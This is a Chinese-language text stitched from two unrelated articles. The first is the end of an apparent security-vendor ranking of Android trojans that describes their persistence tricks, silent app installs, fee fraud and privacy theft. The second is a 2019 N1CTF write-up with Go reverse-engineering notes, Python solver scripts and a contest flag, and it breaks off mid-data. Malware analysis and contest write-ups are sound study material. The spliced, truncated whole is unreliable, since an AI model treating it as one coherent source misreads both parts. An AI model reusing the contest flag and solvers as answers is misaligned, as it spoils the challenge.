2. 自我保护：采用AES对称加密算法、自定义算法加密了所有相关插件、配置文件、数据库等。虽然AES加密算法已被很多病毒木马所采用，并不稀奇，但是隐藏解密所必须的public key的方法非常独特。不但每个插件、配置文件、数据库解密需要的publickey都不同，而且public key本身又以加密的形式写入到其他正常文件的尾部或加密数据文件的指定位置，加大了分析人员逆向分析的难度。
威胁方面：
1. 后台监听：云端即木马作者可以不定时下发“后台监听”指令来建立远程通讯，实现远程监听用户的隐私，给用户隐私带来极大的威胁。
2. 恶意扣费：云端即木马作者不定时下发“订阅”指令，指令参数包含商品名称、收费金额、SP计费点及订阅网点。木马收到指令后根据参数内容到指定SP网点“自动办理”订阅服务并屏蔽订阅回馈短信。因木马恶意扣费非常隐蔽且一般一次性扣费的金额较少，很多受害用户过了一段时间才察觉自己手机可能是中招。
3. 隐私采集：云端可以下发“短信采集”、“基本信息采集”等指令获取用户敏感信息以进行再次获利。如果犯罪分子成功获取到这些数据对于用户来说意味着非常可怕的后果。比如短信包含很多与熟人相关数据，非法分子可以以“借钱”等为由向用户的熟人发送短信，危及到受感染用户周围的亲朋好友，其危害程度不言而喻。
## TOP 3——“FakeDebuggerd”木马
感染用户：77.8万
危险指数:★★★★☆
威胁：伪装系统进程，静默推广其他应用，造成手机运行变慢、流量损失、手机耗电快，甚至可能传播其他木马病毒。
病毒简介：
从几年前发现长老木马，一直到现在，”FakeDebuggerd”家族都非常活跃。虽然技术上没什么亮点，但是这种病毒实现方式简便，成功率高，因此被很多不法分子利用。
Android系统把debuggerd做为守护进程，进程终止后，系统会立刻重新启动。木马利用这一点，替换debuggerd文件来达到自我保护的目的。即使查杀了木马APK，”FakeDebuggerd”也可以从/system/bin/debuggerd文件尾部将所有被删除的文件重新释放。有了“FakeDebuggerd”的保护，其他木马就可以明目张胆的扣费、推广APP或者窃取用户隐私了。
FakeDebuggerd Android
rootkit详细分析地址:<http://blogs.360.cn/360mobile/2014/03/06/fakedebuggerd-android-rootkit/>
长老三详细分析地址：<http://blogs.360.cn/360mobile/2014/11/24/analysis_of_fakedebuggerd_c_and_related_trojans/>
评级理由：
病毒自身的扣费、推广、弹广告等恶行就已经够让人深恶痛绝了，在“FakeDebuggerd”的保护下，各种木马更加的肆无忌惮。虽然“FakeDebuggerd”自身替换debuggerd的恶行不会给用户带来明显的困扰，但是它为其他木马病毒提供了生存的温床，危害程度不容小觑。
## TOP 4——“幽灵推”相关底层模块
感染用户：58.3万
危险指数:★★★★
威胁：替换系统文件、推广APP、订阅扣费服务
病毒简介：
该木马伪装常用应用，经由googleplay等应用市场传播（已下架），通过静默提权方式，以root权限向系统植入底层病毒。
该模块属于“幽灵推”底层模块，在病毒上层应用释放提权模块并且提权成功后，该模块开始部署恶意插件。木马通过执行chattr命令锁定恶意文件，阻止被删除，达到自我保护的目的，通过修改install-recovery.sh系统文件，达到开机启动的目的。
评级理由：
正如他的名称一样，这个病毒会像幽灵一样威胁着用户的利益，难以摆脱。木马通过防止删除，替换系统文件，开机自启的方式来保护自己。
## TOP 5——“权限杀手”木马
感染用户：50.1万
危险指数:★★★★
威胁：ROM内置、对抗安全软件、监听短信、弹广告、推广、刷流量
详细分析地址：<http://blogs.360.cn/360mobile/2015/06/29/analysis_of_pkiller/>
病毒简介：
自2013年以来，ROM级内嵌手机病毒“权限杀手”通过不断更新变种，已经成功植入接近300个ROM在一些刷机市场大肆传播，导致国内多达50万用户遭受影响。
该病毒试图通过删除其他应用获取系统ROOT所使用的关键文件来对抗安全软件，在自以为安全的情况下，开始实施弹广告、监听短信、推广软件等恶行。病毒服务器会根据手机信息分发指令，为了提高存活率，病毒甚至将APK要操作的底层文件的文件名放入云端，切断了APK与底层文件的直接关联，从而增加查杀的难度。
评级理由：删除手机授权管理文件，阻止其他应用获取root权限，企图实现自己在系统权限中的绝对霸主地位，危险程度极高。
## TOP 6——“Andam”木马
感染用户：25.7万
危险指数:★★★☆
威胁：自我保护、执行云端下发指令、推广APP
病毒简介：
该木马技术含量较低，其主要目的为运行后访问云端获取应用下载列表，进行恶意推广。同时监控自身相关文件变化，防止自身被安全软件清除。
评级理由：病毒文件被删除具有回写功能，后台一直联网检测下载任务，静默安装APP应用。虽然该木马技术含量很低，但是消耗移动流量、感染量大、潜在危害大。
## TOP 7——“糖果”木马
感染用户：23.8万
危险指数:★★★☆
威胁：伪装系统文件、上传用户隐私、静默推广APP
病毒简介：该木马以插件形式内嵌到“聚折扣”、“手机散热大师”、“KMPlayer”等二次打包的应用中，迷惑不明真相的用户下载安装。用户一旦打开这些应用，木马就会被释放到系统/system/bin目录，伪装成zprop、boot_logo_updater等，并在用户/data等目录植入自己的数据文件。该木马具有下载、启用应用、删除应用、终止进程的功能，在用户不知情的情况下，进行APP推广获利。
评级理由：伪装系统文件实现开机启动，上传用户隐私信息造成信息泄露，支持多种指令，可以静默卸载、安装、启动、禁用各种应用，潜在危害大。
## TOP 8——“万蓝”木马
感染用户：10万
危险指数:★★★
威胁：ROM内置、执行云端指令、推广APP
详细分析地址：<http://blogs.360.cn/blog/analysis_of_wland/>
病毒简介：
2015年5月中旬，360安全中心收到用户反馈，手机经常自动安装新的游戏应用。经分析排查发现，一款名为“万蓝”的ROM级手机木马正向用户伸出魔爪，通过静默推广以牟取利益。
“万蓝”拥有一套完整的体系结构，包括指令的下发，系统的检测以及版本的更新。通过严谨的运行逻辑来保证自身的隐秘性和稳定性，通过多达40个命令类型来保证自身功能的完整，通过从云端下载脚本推广的应用软件多达数十个。该木马主要通过植入为夏新、联想、小采等手机开发的三方ROM，在刷机网站进行传播。
[](http://image.3001.net/images/20160218/1455779829374.jpg)
图6 某知名刷机网站上发现的“万蓝”病毒
评级理由：我们经过大量测试分析发现很多刷机网站对于ROM收录流程的安全验证并不严谨，导致收录了很多包含恶意代码的ROM文件。到目前为止，恶意样本主要是植入为夏新、联想、小采等手机开发的三方ROM进行传播。即使安全意识较高的用户看到知名刷机网站的安全验证通过提示，很容易会降低警觉性并中招，真是防不胜防。“发烧友”们刷机时还真不能盲目相信官方给出的安全验证通过提示。
## TOP 9——“FakeSysCmd”木马
感染用户：7.7万
危险指数:★★☆
威胁：伪装系统文件、盗窃用户隐私、恶意推广、对抗安全软件
病毒简介：该木马家族伪装替换pm、adb_server、sz等系统命令。比如pm，是系统的软件包管理程序，木马替换该程序后，可以监控并自行安装卸载APP，甚至禁用安全软件。
我们还发现了病毒的一些保护措施，比如在使用pm的时候，替换成mp，企图掩盖其恶意行为，干扰分析。此手法着实低端，不过由此也看到了病毒的一些发展趋势——将自己隐藏到系统命令中，甚至替换系统命令，由病毒自己启动系统命令。
评级理由：此类病毒目前还是襁褓中的恶灵，功能简单，容易实现，还未发挥其真正的实力，一旦不怀好意的人掌握了更高级的技术，可能会给手机用户造成更大的损害。并且其替换的是系统命令，影响严重，感染量大，可能成为病毒发展的一大方向。
## TOP 10——“asshole”木马
感染用户：3.8万
危险指数:★★
威胁：静默提权、盗窃用户隐私、流氓推广。
病毒简介：木马作者恶意利用开源root框架，二次打包编译后以插件形式将病毒嵌入到常用软件或色情软件中，借助软件市场或色情网站传播。据360安全中心监控到的数据，该木马经常伪装成“抢票神器”、“流量统计”、“午夜看看”等。用户一旦使用这些软件，这个木马程序就会植入系统目录并在用户不知情的情况下，拿到手机root权限，从网络下载其他木马或恶意软件，危害极大。
[](http://image.3001.net/images/20160218/14557798628206.jpg)
图7 “asshole”嵌入的正常应用
[](http://image.3001.net/images/20160218/14557798813685.jpg)
图8 “asshole”嵌入的色情应用
评级理由：可以理解作者渴望被关注的心情，不然也不会起这么个名字。不仅仅是病毒流氓，作者自身也是博学多才，这么生僻的词汇都能想到。利用正常的开源框架来实现恶意功能是挺有新意的，在引起关注这一点上，作者算是成功了。 | 社区文章 |
# 2019 Nu1Lctf by LQers
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 比赛地址
https://nu1lctf.com/login
## 比赛时间
2019/09/06 12:00 UTC-2019/09/08 12:00 UTC 48h
## 签到-Checkin
N1CTF{WelcometoN1CTF2019havefunwow}
## REVERSE
### lost in the deep(part 1 )
golang逆向，而且是Windows下的，去了符号表，不过自己之前研究过这种东西，根据段信息能恢复基本所有符号表，使用ida的golangHelper插件即可。
恢复出来之后，除了常规的runtime函数，在main包中的函数如下：
* main_init
* mainmyserver
* main_dec
* main_check
* main_client
* mainrunserver
* main_main
以及部分密码算法函数：
* cryptorc4NewCipher
* cryptorc4__ptrCipher_XORKeyStream
* encodingbase64NewEncoding
* encodingbase64__ptrEncoding_DecodeString
下面简要分析程序流程
1. 分析程序流程，从main包中的mainmain开始，一开始会调用mainrunserver。在main函数最后，会调用mainclient。这里应该是创建了子线程，和父线程通信。
2. 子线程进入mainrunserver函数中，在该函数中，调用net_ptrListenConfigListen，开始配置TCP通信。然后两次调用ioioutil_ReadFile函数，读取服务器上的flag1和flag2。最后向父进程发出信号，返回到父线程。
3. 父线程运行在main_client中，设置通信地址是TCP:0.0.0.0:30754
4. 之后如果我们向本地服务器进行了通信，runtime设置好了通信处理函数是mainmyserver。除了常规的操作以外，在04DA191处调用main_check，同时注意返回值有3个，分别是0、1和2。
5. 进入maincheck函数，其中调用了maindec函数。
6. 在maindec函数中，使用memcpy复制密钥，即”This is not the key”到地址，然后调用rc4函数进行1024轮加密操作。最后调用encodingbase64_ptrEncoding_DecodeString进行解密，所以我们的输入必须满足base64编码之后的结果，同时该table是rc4解出来的结果。
7. 在本地服务器创建完成之后，我们可以向该地址进行通信，使用nc就行。
cat.exe test.txt | nc64.exe -v 127.0.0.1 30754
8. 同时main_check的返回值，使用交叉引用可以看到5个地址，如下图所示。
Address Text | instruction | value
---|---|---
main_check+168 | mov [rsp+68h+ret] | 0
maincheck:loc4D9CEE | mov [rsp+68h+ret] | 0
maincheck:loc4D9D4E | mov [rsp+68h+ret] | 0
maincheck:loc4D9D64 | mov [rsp+68h+ret] | 1
maincheck:loc4D9D7A | mov [rsp+68h+ret] | 2
9. 也就是这部分才是核心操作，经过调试可以判断，当返回值是0时，失败，如果返回值是1，可以获取flag1，如果返回值是2，可以获取flag2。这部分的check逻辑从0x04D9C24正式开始。
**core check**
在maincheck里面，也就是0x4d9c24之后，大循环的次数是输入的长度，首先判断是否大于0x80，然后调用stringsIndexRune，这个函数是查表，注意输入参数，分别是查表长度100，和字符串，0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!
和一些可见标点符号。 然后在循环中，判断当前的index是否比前一个循环的index大，这就说明index是严格递增的。
同时判断每一轮的输入是否存在于该表中，说明输入都是可见字符，同时也需要结合前面的base64编码。下面给出前面这段的脚本，需要结合后文使用。
import string
import base64
import struct
import hashlib
import binascii
STANDARD_ALPHABET = '''ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='''
CUSTOM_ALPHABET = '''AiHheGuklOxE5wz+WS9JLZRY7FXnyV0jCQP/Kf3d4BqTr8MmUta6NbpIov2cDgs1='''
ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
def encode(inputa):
return base64.b64encode(inputa).translate(ENCODE_TRANS)
def decode(inputa):
return base64.b64decode(inputa.translate(DECODE_TRANS))
table ='''30 31 32 33 34 35 36 37 38 39 \
61 62 63 64 65 66 67 68 69 6A\
6B 6C 6D 6E 6F 70 71 72 73 74\
75 76 77 78 79 7A 41 42 43 44\
45 46 47 48 49 4A 4B 4C 4D 4E\
4F 50 51 52 53 54 55 56 57 58\
59 5A 21 22 23 24 25 26 27 28\
29 2A 2B 2C 2D 2E 2F 3A 3B 3C\
3D 3E 3F 40 5B 5C 5D 5E 5F 60\
7B 7C 7D 7E 20 09 0A 0D 0B 0C'''.replace(' ','').decode('hex')
# index
right_index = [0, 1, 3, 5, 10, 11, 16, 25, 26, 28, 31, 32, 35, 52, 56, 59, 76, 91, 97]
plain = ''.join(map(lambda x: table[x], right_index))
print encode(plain)
之后载入一张结构体数组，长度也是100，每一个index都是一个结构体，如下所示。
struc_1 struc ; (sizeof=0x20, mappedto_55)
00000000 ; XREF: main_check+90/o
00000000 ; main_check+99/o ...
00000000 rsi dq ?
00000008 rdi dq ?
00000010 flag dq ?
00000018 ptr dq ? ; offset
00000020 struc_1 ends
这个结构体有自身的地址，2个权重，1个标志位和1个指向其他结构体地址的指针。
这部分的内容就不详细讲了。大致的算法如下，主要是判断标志位是否是0，如果是0就停下寻找，如果是1就加入到一个大集合中，然后下次寻找下一个。同时累计2个权重的值。
def f1(i,itum2,rsi1,rdi1):
r8 = 0
r9 = 0
rcx = table[i]
k = itum2[rcx][3]
if itum2[k][2] != 0:
r8 = itum2[rcx][0]
r9 = itum2[rcx][1]
rsi1 += r8
rdi1 += r9
itum2[rcx][2] = 1
else:
return False
return (rsi1,rdi1)
所以main_check函数返回的值是取决于这两个累计和的。从004D9D2A开始判断，如果 rdi<=233 且 rsi >=560
满足flag1的条件。如果rdi<=233 且 rsi >=1050，满足flag2的条件，下面就开始写算法，寻找这个条件的值。
对于第一问的条件，其实有很多能满足，所以我们可以手工寻找的方式，很快就能找到。
table = [6274272, 6276416, 6277344, 6274656, 6275584, 6276768, 6276256, 6275424, 6274784, 6277152, 6275008, 6275232, 6276576, 6275968, 6276608, 6275200, 6277120, 6276352, 6276192, 6277312, 6275456, 6274816, 6275744, 6275040, 6276448, 6276960, 6275360, 6275264, 6276032, 6274336, 6276832, 6274592, 6274912, 6277408, 6276320, 6274304, 6276480, 6276864, 6275488, 6274848, 6277216, 6275648, 6276000, 6276640, 6275072, 6275712, 6275680, 6276992, 6275296, 6276096, 6276160, 6274624, 6276896, 6276128, 6276800, 6274944, 6274432, 6276224, 6274368, 6276736, 6275520, 6275616, 6274880, 6277248, 6277184, 6276672, 6275776, 6276064, 6277024, 6275328, 6274688, 6277056, 6274976, 6275904, 6274560, 6274464, 6275104, 6274400, 6276384, 6276544, 6277280, 6275808, 6275392, 6276512, 6275552, 6277088, 6275936, 6277376, 6276704, 6274720, 6274496, 6275136, 6276928, 6275840, 6274752, 6274528, 6277440, 6275168, 6276288, 6275872]
itum = {6275072: [84, 17, 0, 6275040], 6275328: [12, 7, 0, 6275296], 6277152: [43, 17, 0, 6274656], 6277408: [19, 29, 0, 6277120], 6275584: [2, 18, 0, 6274272], 6275840: [11, 135, 0, 6275808], 6274592: [71, 2, 0, 6277120], 6276096: [36, 11, 0, 6276032], 6274272: [82, 6, 1, 0], 6276352: [30, 34, 0, 6275424], 6274912: [49, 8, 0, 6277120], 6276608: [75, 50, 0, 6275584], 6276864: [65, 22, 0, 6276192], 6275136: [59, 15, 0, 6275104], 6274400: [84, 28, 0, 6274368], 6277120: [6, 2, 0, 6276768], 6275296: [74, 40, 0, 6275264], 6277376: [64, 24, 0, 6274560], 6275552: [99, 5, 0, 6274688], 6275808: [49, 37, 0, 6275776], 6274656: [15, 10, 0, 6274272], 6276064: [29, 22, 0, 6275712], 6276320: [15, 29, 0, 6277120], 6274496: [66, 25, 0, 6274464], 6276576: [47, 34, 0, 6274656], 6274752: [70, 33, 0, 6274720], 6276832: [98, 44, 0, 6275200], 6275200: [54, 41, 0, 6276768], 6275520: [40, 36, 0, 6275488], 6277088: [45, 44, 0, 6277056], 6277344: [53, 40, 0, 6274272], 6275776: [8, 43, 0, 6275072], 6274720: [86, 12, 0, 6274464], 6276032: [54, 8, 0, 6275232], 6276288: [398, 68, 0, 6275840], 6276928: [19, 42, 0, 6274400], 6276544: [99, 37, 0, 6275520], 6276800: [54, 28, 0, 6274912], 6275264: [82, 32, 0, 6275232], 6274848: [14, 27, 0, 6274816], 6277056: [9, 34, 0, 6276128], 6275232: [46, 8, 0, 6274656], 6277312: [79, 11, 0, 6275424], 6275488: [13, 20, 0, 6275456], 6275744: [25, 1, 0, 6274784], 6274784: [1, 36, 0, 6274656], 6276000: [71, 13, 0, 6275744], 6276256: [54, 22, 0, 6276416], 6276512: [93, 46, 0, 6275328], 6274688: [73, 41, 0, 6274624], 6276768: [51, 22, 0, 6276416], 6274304: [61, 50, 0, 6277120], 6274944: [59, 28, 0, 6274912], 6277024: [20, 21, 0, 6276992], 6277280: [97, 8, 0, 6277248], 6275456: [44, 23, 0, 6275424], 6275712: [26, 4, 0, 6275360], 6274336: [71, 48, 0, 6275232], 6275968: [99, 17, 0, 6275584], 6276224: [4, 26, 0, 6274304], 6276480: [100, 5, 0, 6276352], 6276736: [35, 3, 0, 6274304], 6275392: [22, 10, 0, 6275328], 6275040: [82, 48, 0, 6274784], 6276992: [19, 17, 0, 6275264], 6275168: [82, 1, 0, 6275136], 6277248: [85, 34, 0, 6277216], 6275424: [14, 16, 0, 6276416], 6275680: [11, 34, 0, 6275264], 6276960: [16, 3, 0, 6275008], 6275936: [86, 3, 0, 6275904], 6276192: [56, 33, 0, 6275424], 6274368: [16, 25, 0, 6274304], 6276448: [4, 2, 0, 6275008], 6274624: [45, 50, 0, 6274592], 6276704: [91, 11, 0, 6274464], 6274432: [99, 6, 0, 6274304], 6275904: [86, 39, 0, 6274944], 6277216: [72, 28, 0, 6274816], 6275648: [46, 45, 0, 6274816], 6274464: [24, 27, 0, 6274432], 6276160: [79, 32, 0, 6274592], 6276416: [46, 31, 0, 6274272], 6276672: [31, 43, 0, 6276640], 6275008: [86, 6, 0, 6274656], 6274976: [100, 36, 0, 6274944], 6275104: [19, 16, 0, 6274432], 6277184: [18, 4, 0, 6275648], 6275360: [92, 15, 0, 6275008], 6277440: [37, 14, 0, 6275136], 6275616: [35, 19, 0, 6275488], 6275872: [480, 55, 0, 6275840], 6274528: [58, 34, 0, 6274496], 6276128: [7, 17, 0, 6274912], 6276384: [10, 20, 0, 6274368], 6274880: [19, 13, 0, 6274848], 6274560: [24, 41, 0, 6274432], 6276640: [59, 39, 0, 6275744], 6274816: [26, 43, 0, 6274784], 6276896: [81, 21, 0, 6274912]}
def f1(i,itum2,rsi1,rdi1):
r8 = 0
r9 = 0
rcx = table[i]
k = itum2[rcx][3]
if itum2[k][2] != 0:
r8 = itum2[rcx][0]
r9 = itum2[rcx][1]
rsi1 += r8
rdi1 += r9
itum2[rcx][2] = 1
else:
return False
return (rsi1,rdi1)
'''
f1(1,itum)
print 'rsi = %s'% rsi
print 'rdi = %s'% rdi
'''
rsi = 82
rdi = 6
t = f1(1,itum,rsi,rdi)
rsi = 128
rdi = 37
t = f1(2,itum,rsi,rdi)
rsi = 181
rdi = 77
t = f1(3,itum,rsi,rdi)
rsi = 196
rdi = 87
t = f1(4,itum,rsi,rdi)
rsi = 198
rdi = 105
t = f1(5,itum,rsi,rdi)
rsi = 249
rdi = 127
t = f1(6,itum,rsi,rdi)
rsi = 303
rdi = 149
t = f1(7,itum,rsi,rdi)
rsi = 317
rdi = 165
t = f1(10,itum,rsi,rdi)
rsi = 403
rdi = 171
t = f1(11,itum,rsi,rdi)
rsi = 449
rdi = 179
t = f1(13,itum,rsi,rdi)
rsi = 548
rdi = 196
t = f1(17,itum,rsi,rdi)
rsi = 578
rdi = 230
#0 1 2 3 4 5 6 7 10 11 13 17
import copy
for i in xrange(18,100):
itum1 = copy.deepcopy(itum)
rsi1 = rsi
rdi1 = rdi
t = f1(i,itum1,rsi1,rdi1)
if t:
print i
print 'rsi = %s'% t[0]
print 'rdi = %s'% t[1]
### lost in the deep(part 2)
那么在第二问的条件下，即rdi<=233 且 rsi >=1050。我们必须使用算法才能找到最优解，事实证明这个解只有一个。
把结构体链表整理成类似邻接表的形式如下。观察可以发现是一个树结构。再根据上面的算法描述可以知道，算法要做的事就是求一个子树，并且子树任一节点的父节点也要包含在子树中，使得各个节点的的权重rsi,rdi满足一定的条件即可。由于我们打的是CTF，考虑的更多的是写代码的时间复杂度（雾），所以这里直接就可以用回溯的形式来实现算法（大概20s可以跑出来）。
{0: [1, 2, 3, 4],
1: [5, 6, 7],
2: [],
3: [8, 9, 10, 11, 12],
4: [13, 14],
5: [15, 16],
6: [],
7: [17, 18, 19, 20],
8: [21, 22, 23],
9: [],
10: [24, 25, 26],
11: [27, 28, 29],
12: [],
13: [],
14: [],
15: [30],
16: [31, 32, 33, 34, 35],
17: [36],
18: [37],
19: [],
20: [38],
21: [39, 40, 41],
22: [42, 43],
23: [44],
24: [],
25: [],
26: [45],
27: [46, 47, 48],
28: [49],
29: [],
30: [],
31: [50, 51],
32: [52, 53, 54, 55],
33: [],
34: [],
35: [56, 57, 58, 59],
36: [],
37: [],
38: [60, 61],
39: [62],
40: [63],
41: [64],
42: [],
43: [65],
44: [66],
45: [67],
46: [],
47: [68],
48: [69],
49: [],
50: [],
51: [70],
52: [],
53: [71],
54: [],
55: [72, 73],
56: [74, 75, 76],
57: [],
58: [77, 78],
59: [],
60: [79],
61: [],
62: [],
63: [80],
64: [],
65: [],
66: [81],
67: [],
68: [],
69: [82, 83],
70: [84],
71: [85],
72: [],
73: [86],
74: [87],
75: [88, 89, 90],
76: [91],
77: [92],
78: [],
79: [],
80: [],
81: [93],
82: [],
83: [],
84: [],
85: [],
86: [],
87: [],
88: [],
89: [94],
90: [95],
91: [96, 97],
92: [],
93: [98, 99],
94: [],
95: [],
96: [],
97: [],
98: [],
99: []}
**solution 1**
rsi = 0
rdi = 0
cand = []
ncand = []
# 把大数替换为下标，效果一样，方便遍历
n_table=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99]
n_itum = {44: [84, 17, 0, 23], 69: [12, 7, 0, 48], 9: [43, 17, 0, 3], 33: [19, 29, 0, 16], 4: [2, 18, 0, 0], 93: [11, 135, 0, 81], 31: [71, 2, 0, 16], 49: [36, 11, 0, 28], 0: [82, 6, 0, 0], 17: [30, 34, 0, 7], 32: [49, 8, 0, 16], 14: [75, 50, 0, 4], 37: [65, 22, 0, 18], 91: [59, 15, 0, 76], 77: [84, 28, 0, 58], 16: [6, 2, 0, 5], 48: [74, 40, 0, 27], 87: [64, 24, 0, 74], 84: [99, 5, 0, 70], 81: [49, 37, 0, 66], 3: [15, 10, 0, 0], 67: [29, 22, 0, 45], 34: [15, 29, 0, 16], 90: [66, 25, 0, 75], 12: [47, 34, 0, 3], 94: [70, 33, 0, 89], 30: [98, 44, 0, 15], 15: [54, 41, 0, 5], 60: [40, 36, 0, 38], 85: [45, 44, 0, 71], 2: [53, 40, 0, 0], 66: [8, 43, 0, 44], 89: [86, 12, 0, 75], 28: [54, 8, 0, 11], 98: [398, 68, 0, 93], 92: [19, 42, 0, 77], 79: [99, 37, 0, 60], 54: [54, 28, 0, 32], 27: [82, 32, 0, 11], 39: [14, 27, 0, 21], 71: [9, 34, 0, 53], 11: [46, 8, 0, 3], 19: [79, 11, 0, 7], 38: [13, 20, 0, 20], 22: [25, 1, 0, 8], 8: [1, 36, 0, 3], 42: [71, 13, 0, 22], 6: [54, 22, 0, 1], 83: [93, 46, 0, 69], 70: [73, 41, 0, 51], 5: [51, 22, 0, 1], 35: [61, 50, 0, 16], 55: [59, 28, 0, 32], 68: [20, 21, 0, 47], 80: [97, 8, 0, 63], 20: [44, 23, 0, 7], 45: [26, 4, 0, 26], 29: [71, 48, 0, 11], 13: [99, 17, 0, 4], 57: [4, 26, 0, 35], 36: [100, 5, 0, 17], 59: [35, 3, 0, 35], 82: [22, 10, 0, 69], 23: [82, 48, 0, 8], 47: [19, 17, 0, 27], 97: [82, 1, 0, 91], 63: [85, 34, 0, 40], 7: [14, 16, 0, 1], 46: [11, 34, 0, 27], 25: [16, 3, 0, 10], 86: [86, 3, 0, 73], 18: [56, 33, 0, 7], 58: [16, 25, 0, 35], 24: [4, 2, 0, 10], 51: [45, 50, 0, 31], 88: [91, 11, 0, 75], 56: [99, 6, 0, 35], 73: [86, 39, 0, 55], 40: [72, 28, 0, 21], 41: [46, 45, 0, 21], 75: [24, 27, 0, 56], 50: [79, 32, 0, 31], 1: [46, 31, 0, 0], 65: [31, 43, 0, 43], 10: [86, 6, 0, 3], 72: [100, 36, 0, 55], 76: [19, 16, 0, 56], 64: [18, 4, 0, 41], 26: [92, 15, 0, 10], 96: [37, 14, 0, 91], 61: [35, 19, 0, 38], 99: [480, 55, 0, 93], 95: [58, 34, 0, 90], 53: [7, 17, 0, 32], 78: [10, 20, 0, 58], 62: [19, 13, 0, 39], 74: [24, 41, 0, 56], 43: [59, 39, 0, 22], 21: [26, 43, 0, 8], 52: [81, 21, 0, 32]}
g = {}
for i in range(100):
g[i] = []
for k,v in n_itum.items():
if v[3] == i and k != i:
g[i].append(k)
g[i].sort()
def find(m, cand):
global rsi, rdi, ncand,n_itum
rsi += n_itum[m][0]
rdi += n_itum[m][1]
ncand.append(m)
tcand = cand[:]
if rsi>=1050 and rdi<=233:
print(rsi,rdi)
print(ncand)
rsi -= n_itum[m][0]
rdi -= n_itum[m][1]
ncand.pop(-1)
return
elif rdi > 233:
rsi -= n_itum[m][0]
rdi -= n_itum[m][1]
ncand.pop(-1)
return
tcand=cand[:]
tcand.extend(g[m])
tcand.sort()
for k in tcand:
if (k > m):
find(k,tcand[:])
rsi -= n_itum[m][0]
rdi -= n_itum[m][1]
ncand.pop(-1)
find(0, [])
**solution2**
table = [6274272, 6276416, 6277344, 6274656, 6275584, 6276768, 6276256, 6275424, 6274784, 6277152, 6275008, 6275232, 6276576, 6275968, 6276608, 6275200, 6277120, 6276352, 6276192, 6277312, 6275456, 6274816, 6275744, 6275040, 6276448, 6276960, 6275360, 6275264, 6276032, 6274336, 6276832, 6274592, 6274912, 6277408, 6276320, 6274304, 6276480, 6276864, 6275488, 6274848, 6277216, 6275648, 6276000, 6276640, 6275072, 6275712, 6275680, 6276992, 6275296, 6276096, 6276160, 6274624, 6276896, 6276128, 6276800, 6274944, 6274432, 6276224, 6274368, 6276736, 6275520, 6275616, 6274880, 6277248, 6277184, 6276672, 6275776, 6276064, 6277024, 6275328, 6274688, 6277056, 6274976, 6275904, 6274560, 6274464, 6275104, 6274400, 6276384, 6276544, 6277280, 6275808, 6275392, 6276512, 6275552, 6277088, 6275936, 6277376, 6276704, 6274720, 6274496, 6275136, 6276928, 6275840, 6274752, 6274528, 6277440, 6275168, 6276288, 6275872]
itum = {6275072: [84, 17, 0, 6275040], 6275328: [12, 7, 0, 6275296], 6277152: [43, 17, 0, 6274656], 6277408: [19, 29, 0, 6277120], 6275584: [2, 18, 0, 6274272], 6275840: [11, 135, 0, 6275808], 6274592: [71, 2, 0, 6277120], 6276096: [36, 11, 0, 6276032], 6274272: [82, 6, 0, 0], 6276352: [30, 34, 0, 6275424], 6274912: [49, 8, 0, 6277120], 6276608: [75, 50, 0, 6275584], 6276864: [65, 22, 0, 6276192], 6275136: [59, 15, 0, 6275104], 6274400: [84, 28, 0, 6274368], 6277120: [6, 2, 0, 6276768], 6275296: [74, 40, 0, 6275264], 6277376: [64, 24, 0, 6274560], 6275552: [99, 5, 0, 6274688], 6275808: [49, 37, 0, 6275776], 6274656: [15, 10, 0, 6274272], 6276064: [29, 22, 0, 6275712], 6276320: [15, 29, 0, 6277120], 6274496: [66, 25, 0, 6274464], 6276576: [47, 34, 0, 6274656], 6274752: [70, 33, 0, 6274720], 6276832: [98, 44, 0, 6275200], 6275200: [54, 41, 0, 6276768], 6275520: [40, 36, 0, 6275488], 6277088: [45, 44, 0, 6277056], 6277344: [53, 40, 0, 6274272], 6275776: [8, 43, 0, 6275072], 6274720: [86, 12, 0, 6274464], 6276032: [54, 8, 0, 6275232], 6276288: [398, 68, 0, 6275840], 6276928: [19, 42, 0, 6274400], 6276544: [99, 37, 0, 6275520], 6276800: [54, 28, 0, 6274912], 6275264: [82, 32, 0, 6275232], 6274848: [14, 27, 0, 6274816], 6277056: [9, 34, 0, 6276128], 6275232: [46, 8, 0, 6274656], 6277312: [79, 11, 0, 6275424], 6275488: [13, 20, 0, 6275456], 6275744: [25, 1, 0, 6274784], 6274784: [1, 36, 0, 6274656], 6276000: [71, 13, 0, 6275744], 6276256: [54, 22, 0, 6276416], 6276512: [93, 46, 0, 6275328], 6274688: [73, 41, 0, 6274624], 6276768: [51, 22, 0, 6276416], 6274304: [61, 50, 0, 6277120], 6274944: [59, 28, 0, 6274912], 6277024: [20, 21, 0, 6276992], 6277280: [97, 8, 0, 6277248], 6275456: [44, 23, 0, 6275424], 6275712: [26, 4, 0, 6275360], 6274336: [71, 48, 0, 6275232], 6275968: [99, 17, 0, 6275584], 6276224: [4, 26, 0, 6274304], 6276480: [100, 5, 0, 6276352], 6276736: [35, 3, 0, 6274304], 6275392: [22, 10, 0, 6275328], 6275040: [82, 48, 0, 6274784], 6276992: [19, 17, 0, 6275264], 6275168: [82, 1, 0, 6275136], 6277248: [85, 34, 0, 6277216], 6275424: [14, 16, 0, 6276416], 6275680: [11, 34, 0, 6275264], 6276960: [16, 3, 0, 6275008], 6275936: [86, 3, 0, 6275904], 6276192: [56, 33, 0, 6275424], 6274368: [16, 25, 0, 6274304], 6276448: [4, 2, 0, 6275008], 6274624: [45, 50, 0, 6274592], 6276704: [91, 11, 0, 6274464], 6274432: [99, 6, 0, 6274304], 6275904: [86, 39, 0, 6274944], 6277216: [72, 28, 0, 6274816], 6275648: [46, 